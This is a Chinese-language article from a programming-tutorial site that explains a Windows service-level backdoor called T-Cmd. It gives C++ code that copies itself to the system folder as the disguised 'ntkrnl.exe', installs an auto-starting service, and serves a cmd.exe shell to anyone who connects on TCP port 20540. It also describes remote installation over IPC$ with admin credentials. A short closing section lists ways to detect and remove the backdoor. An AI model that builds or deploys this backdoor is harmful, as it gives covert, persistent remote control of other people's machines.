首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> 關於VC++

Windows 服務級後門技術深度剖析與 T-Cmd 實作

     編輯:關於VC++

Windows 服務架構回顧

服務控制管理器(SCM,services.exe)掌管服務生命週期:

  • 資料庫:HKLM\SYSTEM\CurrentControlSet\Services
  • 啟動類型:SERVICE_AUTO_START 開機自動載入
  • 進程模型:SERVICE_WIN32_OWN_PROCESS 獨立進程,SHARED_PROCESS 共享(如 svchost.exe)
  • 三大入口:main() → StartServiceCtrlDispatcher() → ServiceMain() + HandlerEx()

服務級後門優勢

  1. 無需使用者登入即運行(Session 0 隔離)
  2. 任務管理器難以直接結束(需 SeDebugPrivilege)
  3. 開機自動重啟,持久化極強
  4. 偽裝系統服務名(如 ntkrnl)隱蔽性高

T-Cmd 核心實作流程

1. 服務安裝與啟動

// 複製自身至 %SystemRoot%\ntkrnl.exe
CopyFile(curPath, sysPath + "ntkrnl.exe", FALSE);

// 開啟 SCM 並建立服務
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hSvc = CreateService(hSCM, "ntkrnl", "ntkrnl",
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,
    "ntkrnl.exe", NULL, NULL, NULL, NULL, NULL);
StartService(hSvc, 0, NULL);

2. 服務主執行緒:TCP 監聽 + 執行緒池

DWORD WINAPI CmdService(LPVOID) {
    SOCKET sListen = socket(AF_INET, SOCK_STREAM, 0);
    bind(sListen, (sockaddr*)&addr, sizeof(addr)); // 20540/tcp
    listen(sListen, SOMAXCONN);
    while (TRUE) {
        SOCKET sClient = accept(sListen, NULL, NULL);
        CreateThread(NULL, 0, CmdShell, (LPVOID)sClient, 0, NULL);
    }
}

3. CmdShell:雙管道重導向 + 三執行緒模型

// 建立兩組管道:StdIn/StdOut
CreatePipe(&hReadPipe, &hReadShell, &sa, 0);  // 子進程 StdOut → 我們讀
CreatePipe(&hWriteShell, &hWritePipe, &sa, 0); // 我們寫 → 子進程 StdIn

STARTUPINFO si = {sizeof(si)};
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput  = hReadShell;
si.hStdOutput = si.hStdError = hWritePipe;

CreateProcess("cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

// 執行緒 1:ReadShell 讀管道 → send(sClient)
// 執行緒 2:WriteShell recv(sClient) → 寫管道
// 執行緒 3:WaitForMultipleObjects 監控進程/執行緒結束

4. 服務控制處理

VOID WINAPI CmdControl(DWORD dwCtrl) {
    if (dwCtrl == SERVICE_CONTROL_STOP || dwCtrl == SERVICE_CONTROL_SHUTDOWN) {
        // 遍歷鏈表終結所有 cmd.exe 子進程
        for (PPROCESSDATA p = head; p; p = p->next)
            TerminateProcess(p->hProcess, 1);
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
    }
}

遠程部署支援

透過 WNetAddConnection2 建立 IPC$ 連線(需管理員憑證),遠程複製檔案並呼叫 CreateService / StartService 完成落地。

偵測與清除

  • 服務列舉:sc query / EnumServicesStatusEx 發現異常服務
  • 映像路徑:指向非系統目錄、無簽章、檔名偽裝(ntkrnl.exe)
  • 網路連線:netstat -ano 發現 20540/tcp LISTENING,PID 對應服務進程
  • 清除步驟:sc stop ntkrnl && sc delete ntkrnl → 刪除檔案 → 掃描啟動項

結語

服務級後門利用 SCM 機制實現高權限、高持久、高隱蔽的遠控通道。T-Cmd 以 CreateProcess 管道重導向模擬 Telnet 體驗,展示了 Windows 服務編程的核心模型。防禦端應建立服務基線審計、啟用 Windows Defender ATP 行為監控、限制服務安裝權限。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved